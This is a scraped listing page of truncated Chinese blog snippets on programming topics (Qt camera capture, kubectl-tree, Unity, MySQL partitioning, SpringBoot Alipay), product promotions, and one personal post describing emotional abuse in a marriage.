Qt-捕获摄像头画面在qt中捕获摄像头画面,在ui界面上添加一个comboBox控件、label标签和一个pushButton按钮,comboBox用于显示摄像头的设备,按钮用于开启摄像头,label用于显示摄像头捕获的画面。 //需要在.pro文件中加上multimedia multimediawidgets QT += core gui …...

选择MyEMS的十大核心优势:为您的企业开启智慧能管新纪元

在纷繁复杂的能源管理解决方案中,企业如何做出最明智的选择?如果您正在寻求一个既能立竿见影降本增效,又能为长期发展构建数字化基座的平台,那么MyEMS无疑是您的绝佳选择。它不仅是一款软件,更是一个强大的能源管理生态系统。以下是选择MyEMS的十大不可抗拒的优势。 一、极…...

通过 kubectl 插件 kubectl-tree 查看API对象层级关系

分享一个开源小工具 kubectl-tree,用于查看 k8s API 对象层级关系。 比如对于无状态应用来讲,可以看到Deployment --> ReplicaSet --> Pod 的构成关系。 采用二进制离线方式安装: 1、下载二进制安装包 wget https://github.com/ahmetb/kubectl-tree/releases/download…...

【Unity 性能优化之路——渲染流程(1)】 - 详解

【Unity 性能优化之路——渲染流程(1)】 - 详解pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", monospace…...

HCIA回顾——STP

...

.NET驾驭Word之力:COM组件二次开发全攻略之连接Word与创建你的第一个自动化文档

面向具有一定C#和.NET基础的开发者,本文将带你进入Word文档自动化处理的世界。通过本系列教程,你将掌握使用.NET操作Word文档的各种技巧,实现文档的自动化生成、处理和操作。引言 在日常开发中,我们经常需要处理Word文档,比如自动生成报告、批量处理文档、格式化文档内容等…...

last logicflow

<template><div class="logicflow-page"><div class="sidebar"><div class="palette-title">组件面板</div><div class="palette-item" @mousedown="startDrag(custom-rect, 矩形)">矩…...

老公对我的精神虐待

2025年09月15日早上。使唤我倒垃圾。然后在我往垃圾桶扔垃圾时,他在吐盔。他对我大呼小叫。从来不会好好说话,一言不合应会对我大呼小叫。在和他相处的过程中,感觉不到做为一个人最基本的尊重‘理解’‘包容’。他还喜欢语言暴力。喜欢贬低人。喜欢和你讲一个故事,然后说里…...

用户沉默之日,产品衰亡之时:逃离迭代中的“沉默陷阱”

一、引言 当前,每天有数以千计的新产品上线,但大多很快陨落,究其原因,不是技术不行或功能太差,甚至不是输给对手,而是消无声息的死去。为什么?原因就在于用户不再反馈和交流,没有真实的反馈作为方向盘,产品如同在夜晚行驶的汽车,或早或晚撞向了深渊。 二、“沉默的大…...

华与华是谁?

华与华是谁? “华与华”是由华杉和华楠两兄弟于2002年创立的战略营销咨询公司。他们的核心方法论是 “超级符号”和“超级话语” ,主张用人类文化中固有的、人人都熟悉符号和话语,来降低品牌的传播成本,让品牌一眼就被记住。 他们的著名成功案例包括:蜜雪冰城:“你爱我,…...

从工具到生态:现代Bug管理系统的平台化转型之路

从工具到生态:现代Bug管理系统的平台化转型之路 在DevOps和持续交付成为行业标配的当下,传统独立的Bug追踪系统正面临前所未有的挑战。随着软件开发流程的日益复杂化,仅具备单一缺陷记录功能的传统系统已难以满足高效协作需求。本文将深入分析传统Bug管理工具的局限性,解读…...

PK-CWT 系列罗氏线圈使用指南:操作方法与注意事项

一、概述 普科科技PRBTEK的PK-CWT系列柔性电流探头是一款采用柔性开环结构的专业测量工具,能够精准复现大功率开关全频段电流波形,在多个领域发挥着重要作用。 在性能方面,该系列产品表现出色。其频率响应带宽范围从0.1Hz至16MHz,这意味着它不仅能精准捕捉超低频段的缓变信…...

IDEA Debug 高阶技巧,老手都是这么玩的~~

IDEA Debug 高阶技巧,老手都是这么玩的~~ 小哈学Java2025年09月14日 15:23 安徽来源:juejin.cn/post/7308539123537592357 👉 欢迎加入小哈的星球,你将获得: 专属的项目实战(多个项目) / 1v1 提问 / Java 学习路线 / 学习打卡 / 每月赠书 / 社群讨论新项目:《Spring AI…...

mysql 创建分区,如何轻松提升海量数据查询效率

你是否遇到过这样的烦恼:随着业务增长,MySQL单表数据量突破千万级别,查询速度越来越慢,甚至影响用户体验?本文将带你深入理解MySQL分区功能,掌握提升大表查询性能的实战技巧。 什么是MySQL表分区 MySQL中的数据以文件形式存储在磁盘上,默认路径可通过my.cnf中的datadir查…...

完整教程:瑞派虹泰环城总院 | 打造“一站式宠物诊疗空间”,定义全国宠物医疗新高度

完整教程:瑞派虹泰环城总院 | 打造“一站式宠物诊疗空间”,定义全国宠物医疗新高度pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", &…...

BOE(京东方)携新能源领域新品亮相2025服贸会 引领绿色转型新动能

9 月 10 日,以“全球服务 互惠共享”为主题的2025中国国际服务贸易交易会(以下简称“服贸会”)在北京拉开帷幕。作为领先的物联网创新企业,BOE(京东方)携十余款全球首发的钙钛矿光伏产品,以及多款综合能源解决方案惊艳亮相。本次参展服贸会,是对BOE(京东方)可持续品牌…...

SpringBoot 集成支付宝支付,看这篇就够了

SpringBoot 集成支付宝支付,看这篇就够了 小哈学Java2025年09月15日 09:31 安徽来源:juejin.cn/post/7269357836026904633👉 欢迎加入小哈的星球,你将获得: 专属的项目实战(多个项目) / 1v1 提问 / Java 学习路线 / 学习打卡 / 每月赠书 / 社群讨论新项目:《Spring AI …...